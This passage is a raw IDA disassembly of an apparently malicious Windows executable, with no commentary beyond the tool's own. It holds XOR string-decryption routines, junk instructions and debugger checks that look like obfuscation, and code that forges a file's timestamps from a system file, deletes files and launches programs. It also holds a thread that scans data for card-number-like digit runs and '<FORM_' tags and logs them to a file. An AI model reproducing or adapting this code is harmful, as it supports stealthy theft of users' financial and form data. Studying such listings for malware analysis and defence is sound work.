		mov	[ebp+var_5262C], 383Eh
		add	[ebp+var_5262C], 5085h


loc_407F2B:				; CODE XREF: sub_406E3F+25Dj
		cmp	[ebp+var_52600], 0
		jz	short loc_407F40
		mov	eax, [ebp+var_52600]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407F40:				; CODE XREF: sub_406E3F+10F3j
		lea	edi, [ebp+var_52684]
		lea	esi, aGG	; "<ƒ^>ƒ"
		mov	ecx, 3
		rep movsw


loc_407F54:				; CODE XREF: sub_406E3F+15Ej
					; sub_406E3F+1B8j ...
		cmp	[ebp+var_525F8], 0
		jz	short loc_407F69
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407F69:				; CODE XREF: sub_406E3F+111Cj
		call	sub_40C1F4	; GetProcessHeap


loc_407F6E:				; CODE XREF: sub_406E3F+135j
		cmp	[ebp+var_525F4], 0
		jz	loc_406E93
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_406E93
; ---------------------------------------------------------------------------


loc_407F8C:				; CODE XREF: sub_406E3F+49j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406E3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F91	proc near		; DATA XREF: sub_408043+23o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset word_441422
		push	offset sub_40109A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	sub_40C194	; GetCurrentThreadId
		mov	[ebp+var_4], 0
		mov	[ebp+var_1C], 57D7h
		mov	edi, [ebp+var_1C]
		mov	esi, edi
		add	esi, edi
		mov	[ebp+var_1C], esi


loc_407FD4:				; CODE XREF: sub_407F91+77j
					; sub_407F91+97j
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	edi, dword_441370
		add	edi, 1F0h
		push	edi
		call	sub_40C638
		add	esp, 4
		call	sub_40C194	; GetCurrentThreadId
		call	sub_406E3F
		mov	edi, off_44141E
		mov	[ebp+var_20], edi
		cmp	dword_44137C, 0
		jnz	short loc_407FD4
		jmp	short loc_408031
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_408031
; ---------------------------------------------------------------------------
		mov	[ebp+var_1C], 1
		mov	eax, [ebp+var_1C]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_40C1B8	; RtlGetLastWin32Error
		jmp	short loc_407FD4
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh


loc_408031:				; CODE XREF: sub_407F91+79j
					; sub_407F91+82j
		pop	edi
		pop	esi
		pop	ebx
		xchg	eax, ecx
		mov	eax, [ebp+var_10]
		mov	large fs:0, eax
		xchg	eax, ecx
		leave
		retn	4
sub_407F91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408043	proc near		; CODE XREF: sub_40A4E2+750p

var_5		= byte ptr -5
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, [ebp+arg_0]
		mov	ds:dword_40F1E4, eax
		call	sub_40C194	; GetCurrentThreadId
		push	offset dword_44137C
		push	0
		push	0
		push	offset sub_407F91
		push	0
		push	0
		call	sub_40C3D4	; CreateThread
		mov	ebx, eax
		mov	ax, word_44142E
		mov	[ebp+var_2], ax
		push	ebx
		call	sub_40C1DC	; CloseHandle
		lea	edi, [ebp+var_5]
		lea	esi, byte_441430
		mov	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408043	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		lea	edi, [ebp-5]
		lea	esi, byte_441433
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	dword_44133C, 0
		jnz	short loc_4080BD
		xor	eax, eax
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_4080BD:				; CODE XREF: .text:004080B7j
		mov	word ptr [ebp-4], 7A76h
		movzx	eax, word ptr [ebp-4]
		imul	eax, 6BA8h
		mov	[ebp-4], ax
		mov	eax, ds:dword_42EBE4
		cmp	[ebp+8], eax
		jz	short loc_4080DF
		xor	eax, eax
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_4080DF:				; CODE XREF: .text:004080D9j
		lea	ecx, byte_41EBE0
		or	eax, 0FFFFFFFFh


loc_4080E8:				; CODE XREF: .text:004080EDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4080E8
		mov	edi, eax
		add	edi, 1
		push	edi
		push	offset byte_41EBE0
		push	dword ptr [ebp+0Ch]
		call	sub_40C674
		add	esp, 0Ch
		mov	byte ptr [ebp-1], 0F7h
		movzx	eax, byte ptr [ebp-1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-1], al
		mov	eax, 1


loc_40811B:				; CODE XREF: .text:004080BBj
					; .text:004080DDj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40811F	proc near		; CODE XREF: sub_4081B0+213p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 23Ah
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44143C
		lea	eax, ds:4141B0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	[ebp+var_8], 1E4h
		xor	edi, edi
		jmp	short loc_40816C
; ---------------------------------------------------------------------------


loc_408155:				; CODE XREF: sub_40811F+4Fj
		mov	eax, dword_44143C
		add	eax, edi
		lea	eax, ds:4141B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 32h
		mov	[eax], dl
		inc	edi


loc_40816C:				; CODE XREF: sub_40811F+34j
		cmp	edi, esi
		jl	short loc_408155
		mov	eax, dword_44143C
		add	eax, esi
		mov	byte ptr ds:dword_4141B0[eax], 0
		xor	edi, edi
		mov	edi, dword_44143C
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_44143C, eax
		cmp	eax, 0DF0h
		jle	short loc_40819F
		and	dword_44143C, 0


loc_40819F:				; CODE XREF: sub_40811F+77j
		mov	[ebp+var_C], 7Dh
		lea	eax, dword_4141B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40811F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081B0	proc near		; DATA XREF: sub_40A4E2+74Bo

var_29		= byte ptr -29h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C188	; GetCurrentProcessId
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_10], 0


loc_4081CA:				; CODE XREF: sub_4081B0+17Fj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 3Ah
		jnz	loc_4082E7
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [eax+edx+11h],	20h
		jz	short loc_4081F2
		cmp	byte ptr [eax+edx+14h],	20h
		jnz	loc_4082E7


loc_4081F2:				; CODE XREF: sub_4081B0+35j
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, [ebp+var_4]
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 34h
		jz	short loc_40820D
		cmp	al, 35h
		jnz	loc_4082E7


loc_40820D:				; CODE XREF: sub_4081B0+53j
		mov	eax, [ebp+var_4]
		add	eax, 11h
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 20h
		jnz	short loc_408225
		mov	[ebp+var_8], 10h
		jmp	short loc_40822C
; ---------------------------------------------------------------------------


loc_408225:				; CODE XREF: sub_4081B0+6Aj
		mov	[ebp+var_8], 13h


loc_40822C:				; CODE XREF: sub_4081B0+73j
		mov	[ebp+var_9], 0
		xor	ebx, ebx
		jmp	loc_4082BA
; ---------------------------------------------------------------------------


loc_408237:				; CODE XREF: sub_4081B0+10Dj
		mov	[ebp+var_11], 82h
		add	[ebp+var_11], 25h
		cmp	[ebp+var_8], 13h
		jnz	short loc_40827B
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 2Dh
		jnz	short loc_40827B
		mov	edi, 5
		mov	esi, ebx
		inc	esi
		mov	[ebp+var_18], edi
		mov	eax, esi
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		mov	[ebp+var_1C], eax
		mov	eax, edi
		mov	edi, [ebp+var_1C]
		mul	[ebp+var_1C]
		mov	[ebp+var_20], eax
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_4082B9


loc_40827B:				; CODE XREF: sub_4081B0+93j
					; sub_4081B0+A2j
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 30h
		jl	short loc_408294
		cmp	al, 39h
		jle	short loc_408296


loc_408294:				; CODE XREF: sub_4081B0+DEj
		jmp	short loc_4082E7
; ---------------------------------------------------------------------------


loc_408296:				; CODE XREF: sub_4081B0+E2j
		mov	[ebp+var_12], 0F1h
		add	[ebp+var_12], 1
		movzx	eax, [ebp+var_9]
		mov	edx, [ebp+var_4]
		inc	edx
		add	edx, ebx
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx+edx]
		mov	ds:byte_432F80[eax], dl
		add	[ebp+var_9], 1


loc_4082B9:				; CODE XREF: sub_4081B0+C9j
		inc	ebx


loc_4082BA:				; CODE XREF: sub_4081B0+82j
		cmp	ebx, [ebp+var_8]
		jb	loc_408237
		mov	eax, [ebp+var_8]
		mov	ds:byte_432F80[eax], 0
		call	sub_40133E
		or	eax, eax
		jz	short loc_4082DE
		call	sub_40C1F4	; GetProcessHeap
		jmp	short loc_4082E7
; ---------------------------------------------------------------------------


loc_4082DE:				; CODE XREF: sub_4081B0+125j
		mov	[ebp+var_10], 1
		jmp	short loc_408338
; ---------------------------------------------------------------------------


loc_4082E7:				; CODE XREF: sub_4081B0+24j
					; sub_4081B0+3Cj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0
		jz	short loc_408334
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 3Ch
		jnz	short loc_40832A
		cmp	byte ptr [eax+edx+1], 46h
		jnz	short loc_40832A
		cmp	byte ptr [eax+edx+2], 4Fh
		jnz	short loc_40832A
		cmp	byte ptr [eax+edx+3], 52h
		jnz	short loc_40832A
		cmp	byte ptr [eax+edx+4], 4Dh
		jnz	short loc_40832A
		cmp	byte ptr [eax+edx+5], 5Fh
		jz	short loc_408334


loc_40832A:				; CODE XREF: sub_4081B0+155j
					; sub_4081B0+15Cj ...
		call	sub_40C1F4	; GetProcessHeap
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_408334:				; CODE XREF: sub_4081B0+144j
					; sub_4081B0+178j
		and	[ebp+var_10], 0


loc_408338:				; CODE XREF: sub_4081B0+135j
		cmp	[ebp+var_10], 0
		jz	short loc_40834D
		mov	eax, ds:dword_42EBE4
		mov	dword_43B214, eax
		jmp	loc_4083FE
; ---------------------------------------------------------------------------


loc_40834D:				; CODE XREF: sub_4081B0+18Cj
		lea	edi, [ebp+var_1C+3]
		lea	esi, byte_441440
		mov	ecx, 3
		rep movsb
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40DFD0
		call	sub_40C2FC	; CreateFileA
		mov	[ebp-14h], eax
		push	2
		push	0
		push	0
		push	eax
		call	sub_40C32C	; SetFilePointer
		mov	eax, dword_441443
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_408395:				; CODE XREF: sub_4081B0+1EAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408395
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_20]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [ebp-14h]
		call	sub_40C3B0	; WriteFile
		mov	word ptr [ebp+var_18+2], 5BC2h
		sub	word ptr [ebp+var_18+2], 450h
		push	2
		push	offset a?8	; "?8"
		call	sub_40811F
		add	esp, 8
		push	0
		lea	edi, [ebp+var_20]
		push	edi
		mov	edi, 0Eh
		sub	edi, dword_441438
		push	edi
		push	eax
		push	dword ptr [ebp-14h]
		call	sub_40C3B0	; WriteFile
		push	dword ptr [ebp-14h]
		call	sub_40C1DC	; CloseHandle
		lea	edi, [ebp+var_29]
		lea	esi, aIz	; "<iZ!"
		mov	ecx, 5
		rep movsb


loc_4083FE:				; CODE XREF: sub_4081B0+198j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4081B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408403	proc near		; CODE XREF: sub_40849F+8Bp
					; sub_4085C0+D5p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 2C3h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_445458
		lea	eax, ds:40D000h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_408449
; ---------------------------------------------------------------------------


loc_408432:				; CODE XREF: sub_408403+48j
		mov	eax, dword_445458
		add	eax, edi
		lea	eax, ds:40D000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 47h
		mov	[eax], dl
		inc	edi


loc_408449:				; CODE XREF: sub_408403+2Dj
		cmp	edi, esi
		jl	short loc_408432
		mov	[ebp+var_8], 32Bh
		mov	eax, dword_445458
		add	eax, esi
		mov	byte ptr ds:dword_40D000[eax], 0
		mov	edi, dword_445458
		mov	eax, edi
		lea	eax, [eax+esi+5]
		mov	dword_445458, eax
		add	dword_445458, 3
		cmp	dword_445458, 0E02h
		jle	short loc_40848E
		and	dword_445458, 0


loc_40848E:				; CODE XREF: sub_408403+82j
		mov	[ebp+var_C], 249h
		lea	eax, dword_40D000[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_408403	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40849F	proc near		; CODE XREF: sub_4085C0+94p

var_234		= word ptr -234h
var_232		= byte ptr -232h
var_231		= byte ptr -231h
var_229		= byte ptr -229h
var_221		= byte ptr -221h
var_219		= byte ptr -219h
var_211		= byte ptr -211h
var_20C		= byte ptr -20Ch
var_107		= byte ptr -107h
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 234h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_211]
		lea	esi, aFj_	; "fj:."
		mov	ecx, 5
		rep movsb
		lea	edi, [ebp+var_219]
		lea	esi, aSHqZt	; "s+HQ-ZT"
		movsd
		movsd
		mov	[ebp+var_1], 71h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_40C200	; GetSystemDirectoryA
		lea	edi, [ebp+var_232]
		lea	esi, byte_445469
		xor	ecx, ecx
		inc	ecx
		rep movsb
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_107]
		push	eax
		call	sub_40C138
		mov	[ebp+var_2], 20h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], al
		push	0Dh
		push	offset a5Tui	; "\x1B,\"5)\"+tui#++"
		call	sub_408403
		push	eax
		lea	edi, [ebp+var_107]
		push	edi
		call	sub_40C6D4
		add	esp, 10h
		call	sub_40C218	; GetTickCount
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_107]
		push	eax
		call	sub_40C2FC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4085BB
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_231]
		push	eax
		lea	eax, [ebp+var_229]
		push	eax
		lea	eax, [ebp+var_221]
		push	eax
		push	ebx
		call	sub_40C1AC	; GetFileTime
		mov	ax, word_44546A
		mov	[ebp+var_234], ax
		lea	eax, [ebp+var_231]
		push	eax
		lea	eax, [ebp+var_229]
		push	eax
		lea	eax, [ebp+var_221]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C338	; SetFileTime
		call	sub_40C218	; GetTickCount
		push	ebx
		call	sub_40C1DC	; CloseHandle


loc_4085BB:				; CODE XREF: sub_40849F+C5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40849F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085C0	proc near		; CODE XREF: sub_40A4E2+99p

var_230		= dword	ptr -230h
var_22A		= byte ptr -22Ah
var_224		= byte ptr -224h
var_220		= byte ptr -220h
var_219		= dword	ptr -219h
var_215		= byte ptr -215h
var_111		= byte ptr -111h
var_105		= byte ptr -105h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44546C
		mov	[ebp+var_219], eax
		call	sub_40C224	; GetVersion
		cmp	eax, 80000000h
		jnb	loc_408712
		mov	ebx, 1361h
		sub	ebx, 4C21h
		lea	edi, [ebp+var_111]
		lea	esi, aCBoot_sys	; "c:\\boot.sys"
		mov	ecx, 3
		rep movsd
		lea	edi, [ebp+var_220]
		lea	esi, aCjA	; "%CJ a/"
		mov	ecx, 7
		rep movsb
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_111]
		push	eax
		call	sub_40C2FC	; CreateFileA
		mov	ebx, eax
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	0
		lea	eax, [ebp+var_224]
		push	eax
		push	4001h
		push	offset aMzr	; "MZ"
		push	ebx
		call	sub_40C3B0	; WriteFile
		push	ebx
		call	sub_40849F
		call	sub_40C1F4	; GetProcessHeap
		push	ebx
		call	sub_40C1DC	; CloseHandle
		lea	edi, [ebp+var_22A]
		lea	esi, aZ		; "  < z"
		mov	ecx, 3
		rep movsw
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C200	; GetSystemDirectoryA
		call	sub_40C2B4	; IsDebuggerPresent
		push	0Ah
		push	offset aB4I7_	; "b4\x1B$*#i7.!"
		call	sub_408403
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		lea	edi, [ebp+var_215]
		push	edi
		call	sub_40C6B0
		mov	ebx, 4F6Ah
		mov	eax, 39EEh
		mul	ebx
		mov	[ebp+var_230], eax
		mov	ebx, eax
		push	1Dh
		push	offset byte_445DD1
		call	sub_408403
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40C6D4
		add	esp, 28h
		lea	eax, [ebp+var_215]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		mov	[ebp+var_105], 2Ah
		movzx	eax, [ebp+var_105]
		imul	eax, 4B11h
		mov	[ebp+var_105], al
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C3A4	; WinExec


loc_408712:				; CODE XREF: sub_4085C0+21j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_445514
		lea	eax, ds:431EA0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_408753
; ---------------------------------------------------------------------------


loc_40873C:				; CODE XREF: .text:00408755j
		mov	eax, dword_445514
		add	eax, edi
		lea	eax, ds:431EA0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8
		mov	[eax], dl
		inc	edi


loc_408753:				; CODE XREF: .text:0040873Aj
		cmp	edi, esi
		jl	short loc_40873C
		mov	eax, dword_445514
		add	eax, esi
		mov	byte ptr ds:dword_431EA0[eax], 0
		xor	edi, edi
		mov	edi, dword_445514
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_445514, eax
		inc	dword_445514
		cmp	dword_445514, 0DEBh
		jle	short loc_408793
		and	dword_445514, 0


loc_408793:				; CODE XREF: .text:0040878Aj
		lea	eax, dword_431EA0[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40879D	proc near		; CODE XREF: sub_4088C3+35p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_40C2B4	; IsDebuggerPresent
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	sub_40C368	; VirtualAlloc
		jmp	short loc_4087BD
; ---------------------------------------------------------------------------
		call	sub_40C188	; GetCurrentProcessId


loc_4087BD:				; CODE XREF: sub_40879D+19j
		pop	ebp
		retn
sub_40879D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087BF	proc near		; CODE XREF: sub_4088C3+CDp

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		lea	edi, [ebp+var_1]
		lea	esi, dword_445518
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	sub_40C374	; VirtualFree
		pop	edi
		pop	esi
		leave
		retn
sub_4087BF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 204h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_445524
		lea	eax, ds:439390h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 132h
		xor	edi, edi
		jmp	short loc_408836
; ---------------------------------------------------------------------------


loc_40881C:				; CODE XREF: .text:00408838j
		mov	eax, dword_445524
		add	eax, edi
		lea	eax, ds:439390h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0EEh
		mov	[eax], dl
		inc	edi


loc_408836:				; CODE XREF: .text:0040881Aj
		cmp	edi, esi
		jl	short loc_40881C
		mov	dword ptr [ebp-0Ch], 12h
		mov	eax, dword_445524
		add	eax, esi
		mov	byte ptr ds:dword_439390[eax], 0
		mov	edi, dword_445524
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_445524, eax
		add	dword_445524, 3
		cmp	dword_445524, 0DFFh
		jle	short loc_40887C
		and	dword_445524, 0


loc_40887C:				; CODE XREF: .text:00408873j
		lea	eax, dword_439390[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408886	proc near		; CODE XREF: sub_4088C3+DEp

var_5		= byte ptr -5
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, 681Dh
		add	ebx, 0F5Fh
		push	offset dword_4454CC
		push	offset dword_44548C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B6E0
		lea	edi, [ebp+var_5]
		lea	esi, aV2	; "V& 2"
		mov	ecx, 5
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088C3	proc near		; CODE XREF: sub_4096E4+459p

var_6B		= byte ptr -6Bh
var_64		= byte ptr -64h
var_5C		= byte ptr -5Ch
var_1C		= word ptr -1Ch
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C188	; GetCurrentProcessId
		call	sub_40C188	; GetCurrentProcessId
		lea	edi, [ebp+var_64]
		lea	esi, aS91rndu	; "s91RNDU"
		movsd
		movsd
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4088EF
		add	eax, 3Fh


loc_4088EF:				; CODE XREF: sub_4088C3+27j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_40879D
		pop	ecx
		mov	[ebp+var_18], eax
		lea	edi, [ebp+var_6B]
		lea	esi, aKsh4	; " KSh/4"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_40891C
		add	eax, 3Fh


loc_40891C:				; CODE XREF: sub_4088C3+54j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	[ebp+var_18]
		call	sub_40C320	; RtlZeroMemory
		call	sub_40C1F4	; GetProcessHeap
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_18]
		call	sub_40C674
		add	esp, 0Ch
		mov	[ebp+var_19], 8Ch
		add	[ebp+var_19], 72h
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B81E
		mov	[ebp+var_1C], 5812h
		inc	[ebp+var_1C]
		mov	ebx, [ebp+var_18]
		and	[ebp+var_4], 0
		jmp	short loc_40897A
; ---------------------------------------------------------------------------


loc_408965:				; CODE XREF: sub_4088C3+C8j
		call	sub_40C1F4	; GetProcessHeap
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B845
		add	ebx, 40h
		inc	[ebp+var_4]


loc_40897A:				; CODE XREF: sub_4088C3+A0j
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_408985
		add	eax, 3Fh


loc_408985:				; CODE XREF: sub_4088C3+BDj
		sar	eax, 6
		cmp	[ebp+var_4], eax
		jl	short loc_408965
		push	[ebp+var_18]
		call	sub_4087BF
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_5C]
		push	eax
		push	[ebp+arg_8]
		call	sub_408886
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, dword_44551C
		add	eax, 0Eh
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_40C668
		add	esp, 18h
		or	eax, eax
		jz	short loc_4089CD
		xor	eax, eax
		inc	eax
		jmp	short loc_4089CF
; ---------------------------------------------------------------------------


loc_4089CD:				; CODE XREF: sub_4088C3+103j
		xor	eax, eax


loc_4089CF:				; CODE XREF: sub_4088C3+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4088C3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_445544
		lea	eax, ds:438380h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 11Eh
		xor	edi, edi
		jmp	short loc_408A18
; ---------------------------------------------------------------------------


loc_408A01:				; CODE XREF: .text:00408A1Aj
		mov	eax, dword_445544
		add	eax, edi
		lea	eax, ds:438380h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 66h
		mov	[eax], dl
		inc	edi


loc_408A18:				; CODE XREF: .text:004089FFj
		cmp	edi, esi
		jl	short loc_408A01
		mov	eax, dword_445544
		add	eax, esi
		mov	byte ptr ds:dword_438380[eax], 0
		mov	edi, dword_445544
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_445544, eax
		add	dword_445544, 3
		cmp	dword_445544, 0DEFh
		jle	short loc_408A57
		and	dword_445544, 0


loc_408A57:				; CODE XREF: .text:00408A4Ej
		lea	eax, dword_438380[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A61	proc near		; CODE XREF: sub_4096E4+3C7p
					; sub_4096E4+3DFp

var_37		= byte ptr -37h
var_31		= byte ptr -31h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_26		= word ptr -26h
